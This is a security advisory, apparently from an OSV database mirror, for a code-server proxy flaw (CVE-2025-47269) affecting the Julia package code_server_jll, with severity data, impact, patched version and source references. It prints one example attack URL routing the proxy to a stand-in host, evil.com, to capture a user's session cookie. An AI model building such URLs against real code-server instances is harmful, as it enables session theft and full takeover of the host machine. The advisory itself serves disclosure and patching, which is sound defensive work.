JLSEC-2026-1274

See a problem?
Please try reporting it to the source first.

Source

https://github.com/JuliaLang/SecurityAdvisories.jl/blob/main/advisories/published/2026/JLSEC-2026-1274.md

Import Source

https://github.com/JuliaLang/SecurityAdvisories.jl/tree/generated/osv/2026/JLSEC-2026-1274.json

JSON Data

https://api.osv.dev/v1/vulns/JLSEC-2026-1274

Upstream

CVE-2025-47269

EUVD-2025-14189

GHSA-p483-wpfp-42cj

Published

2026-08-13T06:24:20Z

Modified

2026-08-13T06:43:43Z

Severity

8.3 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L (Source: CNA) CVSS Calculator

Summary

code-server's session cookie can be extracted by having user visit specially crafted proxy URL

Details

Summary

A maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token.

Details

Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL https://<code-server>/proxy/test@evil.com/path would be proxied to test@evil.com/path where the attacker could exfiltrate a user's session token.

Impact

Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy.

Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies.

With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.

Patches

Patched versions are from v4.99.4 onward.

Database specific

{
    "license": "CC-BY-4.0",
    "sources": [
        {
            "database_specific": {
                "status": "Deferred"
            },
            "html_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47269",
            "id": "CVE-2025-47269",
            "imported": "2026-08-12T15:15:17.307Z",
            "modified": "2026-06-17T09:27:38.423Z",
            "published": "2025-05-09T21:15:51.263Z",
            "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2025-47269"
        },
        {
            "html_url": "https://github.com/advisories/GHSA-p483-wpfp-42cj",
            "id": "GHSA-p483-wpfp-42cj",
            "imported": "2026-08-12T15:15:18.787Z",
            "modified": "2025-05-09T21:39:17Z",
            "published": "2025-05-09T19:34:35Z",
            "url": "https://api.github.com/advisories/GHSA-p483-wpfp-42cj"
        },
        {
            "html_url": "https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-14189",
            "id": "EUVD-2025-14189",
            "imported": "2026-08-12T15:15:16.911Z",
            "modified": "2025-05-10T01:45:13Z",
            "published": "2025-05-09T20:59:01Z",
            "url": "https://euvdservices.enisa.europa.eu/api/enisaid?id=EUVD-2025-14189"
        }
    ]
}

References

Affected packages

Julia / code_server_jll

Package

Name: code_server_jll
Purl: pkg:julia/code_server_jll?uuid=9d82fc85-3a26-5878-8296-eaade0189704

Affected ranges

Type: SEMVER
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Database specific

source

"https://github.com/JuliaLang/SecurityAdvisories.jl/tree/generated/osv/2026/JLSEC-2026-1274.json"